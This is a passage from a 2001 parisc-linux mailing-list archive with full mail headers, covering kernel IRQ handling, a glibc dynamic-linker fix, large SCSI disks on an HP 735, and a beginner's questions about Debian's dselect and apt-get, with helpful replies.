I know why that is.  Basically we need to get lasi (and wax) to fix up
their subdevices the same way that asp does.  Then we can finally kill
busdevice_alloc_irq.  As a quick hack, we could check parent->hw_type ==
HPHW_FAULTY in busdevice_alloc_irq and skip to that parent.

Not quite sure how to handle Wax EISA not being underneath the Wax BA..
maybe just walk from wax's parent to fill in known irqs.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fix for hppa-linux ld.so with newer binutils
Date: Sat, 20 Oct 2001 14:01:53 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20011020140153.A17475@megatonmonkey.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620656 28604 80.91.229.3 (22 Nov 2014 01:44:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:16 +0000 (UTC)
To: Alan Modra <amodra@bigpond.net.au>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 12:00:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B147482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 12:00:19 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9KIq2G19991;
	Sat, 20 Oct 2001 14:52:03 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9KI1rJ18962;
	Sat, 20 Oct 2001 14:01:53 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Alan Modra <amodra@bigpond.net.au>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011020170907.G1037@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Sat, Oct 20, 2001 at 05:09:07PM +0930
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (7% Sync Ratio [=.........])
Xref: news.gmane.org gmane.linux.ports.parisc:12743

> Newer binutils don't initialise .got entries for global syms, so the
> scheme used by sysdeps/hppa/dl-machine.h:elf_machine_dynamic to find
> the address of .dynamic no longer works.
> 
> ChangeLog
> 	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic):  Make it a
> 	const function.  Do not use &_DYNAMIC as .got entries for global
> 	syms are no longer initialised.  Instead they rely on the reloc,
> 	which hasn't yet been applied.
> 	(elf_machine_load_address): Make it const.  Call
> 	elf_machine_dynamic as that function is called fropm rtld anyway.
>

I was beggining to wonder...

  /* Figure out the run-time load address of the dynamic linker itself.  */
  bootstrap_map.l_addr = elf_machine_load_address ();

  /* Read our own dynamic section and fill in the info array.  */
  bootstrap_map.l_ld = (void *) bootstrap_map.l_addr + elf_machine_dynamic ();
  elf_get_dynamic_info (&bootstrap_map);

_dl_start (0x41002b74).... 
_dl_start+312 (Assertion failure with wrong address for initialized data) 

Why aren't .got entries being initialised?

So you are saying we need to make all of our global symbols constant
so that we can access them during the bootstrap? (No more _DYNMAIC?)

And that elf_machine_load_address is trying to access symbols that aren't
setup yet, because ELF_DYNAMIC_RELOCATE() hasn't been run yet?
And thus hasn't setup any of our offsets... where has my pic code gone ;(

c.





From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] WARNING ftp site moved -> ftp.parisc-linux.org
Date: Sat, 20 Oct 2001 13:41:43 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <01102013414300.01782@Wolf-01>
References: <sbcd5142.014@ms-zrt1> <20011017074228.D2D4137D25@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620656 28606 80.91.229.3 (22 Nov 2014 01:44:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:16 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 12:43:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9443482A
	for <parisc-linux@parisc-linux.org>; Sat, 20 Oct 2001 12:43:48 -0600 (MDT)
Original-Received: from Wolf-01 (ppp41.cc1.pflash.com [63.121.24.43]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007480028@vopserver.pflashcom>;
 Sat, 20 Oct 2001 13:48:44 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011017074228.D2D4137D25@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12744

On Wednesday 17 October 2001 02:42 am, Matt Taggart wrote:
> Not yet, hopefully later this week. When it does I will post a script to
> munge your checked out cvs trees so you don't have to check out from
> scratch.

Would gcc/contrib/newcvsroot in current cvs do the job?

> Stay tuned...

While re-organizing things, would it be possible to get lxr pointed at the 
current development cvs?  Seems to still point at linux-2.3 of Aug-10-2000.

Mike




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve.Grady@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Large SCSI disks on a 735/125
Date: Sun, 21 Oct 2001 08:05:16 +1000
Lines: 12
Approved: news@gmane.org
Message-ID: <49AA3A3C863E5B4C911320AEF99E5DA3010CCBC0@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620656 28613 80.91.229.3 (22 Nov 2014 01:44:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:16 +0000 (UTC)
Cc: Steve.Grady@csiro.au
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 16:05:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crux.tip.CSIRO.AU (crux.tip.CSIRO.AU [130.155.194.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C8D3482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 16:05:16 -0600 (MDT)
Original-Received: from wing-ep.tip.csiro.au (wing-ep.tip.CSIRO.AU [130.155.192.114])
	by crux.tip.CSIRO.AU (8.9.3/8.9.3/TIPAT-1.1g) with ESMTP id IAA02414
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Oct 2001 08:05:12 +1000 (EST)
Original-Received: by wing-ep.tip.csiro.au with Internet Mail Service (5.5.2653.19)
	id <4V752YAR>; Sun, 21 Oct 2001 08:05:17 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12745

Hi,

I want to put a large SCSI disk either 9.1G or 18.2G SCSI disk on a HP
735/125 does anyone know if this will work under PARISC-linux and will I be
able to see the whole disk?

Thanks in advance

Steve Grady




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Sat, 20 Oct 2001 23:22:31 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20011020232231.D31505@parcelfarce.linux.theplanet.co.uk>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCBC0@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620657 28620 80.91.229.3 (22 Nov 2014 01:44:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 16:22:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8A41482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 16:22:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15v4Vj-0002sT-00; Sat, 20 Oct 2001 23:22:31 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <49AA3A3C863E5B4C911320AEF99E5DA3010CCBC0@wing-ep.tip.csiro.au>; from Steve.Grady@csiro.au on Sun, Oct 21, 2001 at 08:05:16AM +1000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12746

On Sun, Oct 21, 2001 at 08:05:16AM +1000, Steve.Grady@csiro.au wrote:
> I want to put a large SCSI disk either 9.1G or 18.2G SCSI disk on a HP
> 735/125 does anyone know if this will work under PARISC-linux and will I be
> able to see the whole disk?

The only thing to beware of is that palo can only access the first
2GB of the disc, so the kernel that it loads has to be in this area.
It is possible to fix palo to work for >2GB partitions, but nobody's
done that yet.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Sat, 20 Oct 2001 16:45:35 -0600 (MDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200110202245.QAA00533@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620657 28622 80.91.229.3 (22 Nov 2014 01:44:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 16:45:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25E60482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 16:45:40 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 240121F714
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 18:43:17 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id QAA00533
	for parisc-linux@lists.parisc-linux.org; Sat, 20 Oct 2001 16:45:35 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12747

> On Sun, Oct 21, 2001 at 08:05:16AM +1000, Steve.Grady@csiro.au wrote:
> > I want to put a large SCSI disk either 9.1G or 18.2G SCSI disk on a HP
> > 735/125 does anyone know if this will work under PARISC-linux and will I be
> > able to see the whole disk?
>
> The only thing to beware of is that palo can only access the first
> 2GB of the disc, so the kernel that it loads has to be in this area.
> It is possible to fix palo to work for >2GB partitions, but nobody's
> done that yet.

What this means is that you can create a small /boot partition
at the front of the disk, and then create as many other partitions
as you want. Other than the palo limit, which only affects the partition
you boot from, the partitions can be > 2Gb.

However, the other thing to be aware of is that the Fast Wide SCSI
Is not yet supported (at least last time I checked) on the 735. The
SE SCSI adapter will work though.

John Marvin
jsm@fc.hp.com




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Large SCSI disks on a 735/125
Date: Sat, 20 Oct 2001 17:11:53 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <200110202311.RAA22159@puffin.external.hp.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCBC0@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620657 28623 80.91.229.3 (22 Nov 2014 01:44:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 17:15:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B42BC482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 17:15:46 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA22159;
	Sat, 20 Oct 2001 17:11:53 -0600
In-Reply-To: Message from Steve.Grady@csiro.au 
   of "Sun, 21 Oct 2001 08:05:16 +1000." <49AA3A3C863E5B4C911320AEF99E5DA3010CCBC0@wing-ep.tip.csiro.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:12748

Steve.Grady@csiro.au wrote:
> Hi,
> 
> I want to put a large SCSI disk either 9.1G or 18.2G SCSI disk on a HP
> 735/125 does anyone know if this will work under PARISC-linux and will I be
> able to see the whole disk?

large disks are not a problem.
The question is will you be able to find a 9 or 18GB disk
with either SE SCSI or HVD SCSI interface which the 735
can connect to.

grant




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to use dpkg/dselect/apt-get ???
Date: Sat, 20 Oct 2001 20:51:19 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <01102020511903.00166@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620658 28629 80.91.229.3 (22 Nov 2014 01:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 21:51:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail8.sdc1.sfba.home.com (femail8.sdc1.sfba.home.com [24.0.95.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F170482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 21:51:24 -0600 (MDT)
Original-Received: from nick ([65.12.82.119]) by femail8.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20011021035119.HVAU629.femail8.sdc1.sfba.home.com@nick>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 20 Oct 2001 20:51:19 -0700
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:12749

I'm tearing my hair out, and glad I've never tried debian before...

I got 0.92 installed and running on my B132L, but for the life of
me can't figure out how in the !@#$ to use the package tools
to do anything useful (like install X or see what packages are
in ftp.us.debian.org/debian/dists/unstable/main/binary-hppa/

I have also failed to find any useful docs/tutorials on the matter.

Could someone please post a link to a useful howto or write a
mini-howto up?  So far, these package tools have seemed rather
daunting...

Nick





From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use dpkg/dselect/apt-get ???
Date: Sat, 20 Oct 2001 19:52:03 -0800 (AKDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110201950530.27243-100000@goliath.alaskatech.org>
References: <01102020511903.00166@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620658 28630 80.91.229.3 (22 Nov 2014 01:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Nicholas Leippe <nick@byu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 22:01:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CDB5482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 22:01:28 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GLJF6I00.0WH for
          <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 20:01:30 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GLJF6I00.14D; Sat, 20 Oct 2001 20:01:30 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA27248;
	Sat, 20 Oct 2001 19:52:03 -0800
In-Reply-To: <01102020511903.00166@nick>
Xref: news.gmane.org gmane.linux.ports.parisc:12750

On Sat, 20 Oct 2001, Nicholas Leippe wrote:
> I'm tearing my hair out, and glad I've never tried debian before...
>
> I got 0.92 installed and running on my B132L, but for the life of
> me can't figure out how in the !@#$ to use the package tools
> to do anything useful (like install X or see what packages are
> in ftp.us.debian.org/debian/dists/unstable/main/binary-hppa/
>
> I have also failed to find any useful docs/tutorials on the matter.
>
> Could someone please post a link to a useful howto or write a
> mini-howto up?  So far, these package tools have seemed rather
> daunting...

Here's the basic one I found. It's for i386, but I don't think I've found
much different...

http://www.debian.org/releases/stable/i386/dselect-beginner

Hope that helps!





From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use dpkg/dselect/apt-get ???
Date: Sat, 20 Oct 2001 21:29:26 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <01102021292604.00166@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620658 28632 80.91.229.3 (22 Nov 2014 01:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 22:29:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail16.sdc1.sfba.home.com (femail16.sdc1.sfba.home.com [24.0.95.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9201482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 22:29:31 -0600 (MDT)
Original-Received: from nick ([65.12.82.119]) by femail16.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20011021042930.POPJ22743.femail16.sdc1.sfba.home.com@nick>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 20 Oct 2001 21:29:30 -0700
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:12751

Thankyou for the link.  Unfortunately, I've already read that one
and found it of little help.

Let me ask a few specific questions:

1) How do I know that it's looking at hppa packages and not x86
packages?  And if it's seeing x86, how do I fix it?

2) How can I 'collapse' the ridiculously long (3000+) list of
packages into just group headings?

3) How can I search the list so I can find, for example, 'X11'
to '+' it and let it figure out what else is needed and then
install it?

4) Is there a better package interface than dselect?
(rh/caldera/mdk's glint is 3+ yrs old and is still far superior
to dselect--you can actually _understand_ what you're looking at)

I am not against whatever debian uses considering all the wonderful
features it's supposed to have, just rather annoyed that it is such a
difficult/disgusting interface.


Nick

p.s. is there a way to get it to actually highlight the line your on?
it only echos the line in the middle of the screen for me, which is
really gross.




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use dpkg/dselect/apt-get ???
Date: Sat, 20 Oct 2001 22:20:42 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20011020222042.G537@tausq.org>
References: <01102021292604.00166@nick>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620659 28637 80.91.229.3 (22 Nov 2014 01:44:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nicholas Leippe <nick@byu.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 23:20:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7ADEC482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 23:20:54 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id mwweiaaa for parisc-linux@lists.parisc-linux.org; Sat, 20 Oct 2001 22:16:11 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15vB2Q-0007s0-00; Sat, 20 Oct 2001 22:20:42 -0700
Content-Disposition: inline
In-Reply-To: <01102021292604.00166@nick>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12752

You may want to try install deity-curses (aka console-apt). I'd like to
think it's easier to use :-)

> 3) How can I search the list so I can find, for example, 'X11'
> to '+' it and let it figure out what else is needed and then
> install it?

in dselect, you can search using / (like vi)
there's decent online help using 'h'.

> 4) Is there a better package interface than dselect?
> (rh/caldera/mdk's glint is 3+ yrs old and is still far superior
> to dselect--you can actually _understand_ what you're looking at)

well, many people find dselect easy to understand too, but i can see how
it's daunting. do give deity a try and see if that's easier for you.
 
> I am not against whatever debian uses considering all the wonderful
> features it's supposed to have, just rather annoyed that it is such a
> difficult/disgusting interface.

most of us just install things from command-line. For example, you can
do 'apt-get install x-window-system' from the command-line (as root)
once your system is up and running. 'apt-get update' updates your
"package sources" from the debian mirrors, and 'apt-get upgrade' will
install the newest versions of what you have on your system.

you can use 'apt-cache search <pattern>' to look at available packages.
There's also a web interface, http://packages.debian.org/

to use apt you need to have a correct /etc/apt/sources.list file. If the
installer didn't set one up for you, you can use something like this:

=================
deb http://http.us.debian.org/debian unstable main contrib non-free
deb http://debian.yorku.ca/debian/non-US unstable non-US/main non-US/contrib 
deb-src http://http.us.debian.org/debian unstable main contrib non-free
=================

as for mixing i386 and hppa, it won't happen; the debian package tools
are all arch-specific and will only look at the arch it's running on.

hope this helps.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:20:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] how to use dpkg/dselect/apt-get ???
Date: Sat, 20 Oct 2001 22:50:15 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <01102022501505.00166@nick>
References: <01102021292604.00166@nick> <20011020222042.G537@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620659 28639 80.91.229.3 (22 Nov 2014 01:44:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 23:50:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail29.sdc1.sfba.home.com (femail29.sdc1.sfba.home.com [24.254.60.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDB59482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 23:50:15 -0600 (MDT)
Original-Received: from nick ([65.12.82.119]) by femail29.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20011021055014.DOTW21044.femail29.sdc1.sfba.home.com@nick>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 20 Oct 2001 22:50:14 -0700
X-Mailer: KMail [version 1.2]
In-Reply-To: <20011020222042.G537@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:12753

On Saturday 20 October 2001 22:20, you wrote:
> You may want to try install deity-curses (aka console-apt). I'd like to
> think it's easier to use :-)

I'll have to try that

> > 3) How can I search the list so I can find, for example, 'X11'
> > to '+' it and let it figure out what else is needed and then
> > install it?
>
> in dselect, you can search using / (like vi)
> there's decent online help using 'h'.

I just barely noticed the '/' option.

[snip]
> well, many people find dselect easy to understand too, but i can see how
> it's daunting. do give deity a try and see if that's easier for you.
>
> > I am not against whatever debian uses considering all the wonderful
> > features it's supposed to have, just rather annoyed that it is such a
> > difficult/disgusting interface.
>
> most of us just install things from command-line. For example, you can
> do 'apt-get install x-window-system' from the command-line (as root)
> once your system is up and running. 'apt-get update' updates your
> "package sources" from the debian mirrors, and 'apt-get upgrade' will
> install the newest versions of what you have on your system.
>
> you can use 'apt-cache search <pattern>' to look at available packages.
> There's also a web interface, http://packages.debian.org/

This is exactly the kind of stuff that oughta be on the front page of
the install howto, there's no way I'd know it was called 'x-window-system',
nor how on earth I could possibly find out.  Thanks.

> to use apt you need to have a correct /etc/apt/sources.list file. If the
> installer didn't set one up for you, you can use something like this:
>
> =================
> deb http://http.us.debian.org/debian unstable main contrib non-free
> deb http://debian.yorku.ca/debian/non-US unstable non-US/main
> non-US/contrib deb-src http://http.us.debian.org/debian unstable main
> contrib non-free =================
>
> as for mixing i386 and hppa, it won't happen; the debian package tools
> are all arch-specific and will only look at the arch it's running on.

I noticed it was only getting *hppa.debs, so figure it must be smart enough.

> hope this helps.

Yes, it does.  Thanks.

Nick




From - Thu Nov 08 21:20:01 2018
